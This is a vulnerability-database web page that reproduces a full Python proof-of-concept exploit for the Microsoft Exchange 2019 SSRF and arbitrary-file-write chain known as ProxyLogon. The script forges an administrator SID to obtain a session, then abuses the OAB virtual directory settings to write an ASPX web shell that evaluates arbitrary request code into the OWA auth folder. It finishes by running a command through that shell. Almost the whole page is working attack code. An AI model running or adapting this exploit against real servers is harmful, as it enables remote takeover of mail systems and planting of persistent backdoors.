Thursday, March 18, 2021

Microsoft Exchange 2019 SSRF / Arbitrary File Write

import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))

if len(sys.argv) < 2:
print("使用方式: python PoC.py <target> <email>")
print("使用方式: python PoC.py mail.btwaf.cn [email protected]")
exit()

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
random_name = id_generator(4) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % email

print("正在获取Exchange Server " + target+"权限")
print("=============================")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False,proxies=proxies)

if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]


ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
proxies=proxies,
verify=False
)

if ct.status_code != 200:
print(ct.status_code)
print("Autodiscover Error!")
exit()

if "<LegacyDN>" not in str(ct.content):
print("Can not get LegacyDN!")
exit()

legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)

mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "[email protected]%s:444/mapi/[email protected]ab&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
"User-Agent": user_agent
},
data=mapi_body,
verify=False,
proxies=proxies
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
print("Mapi Error!")
exit()

sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]

print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1],"500")

proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "[email protected]%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
data=proxyLogon_request,
proxies=proxies,
verify=False
)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("Proxylogon Error!")
exit()

sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "[email protected]%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; ",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent

},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
verify=False
)

if ct.status_code != 200:
print("GetOAB Error!")
exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)

oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "[email protected]%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
verify=False
)
if ct.status_code != 200:
print("Set external url Error!")
exit()

reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "[email protected]%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
verify=False
)

if ct.status_code != 200:
print("写入shell失败了啊")
exit()

print("成功了。马上就验证shell是否OK!")
print("POST shell:https://"+target+"/owa/auth/test11.aspx")
shell_url="https://"+target+"/owa/auth/test11.aspx"
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("正在请求shell")
data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False)
if data.status_code != 200:
print("写入shell失败")
else:
print("权限如下:"+data.text.split("OAB (Default Web Site)")[0].replace("Name : ",""))

 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated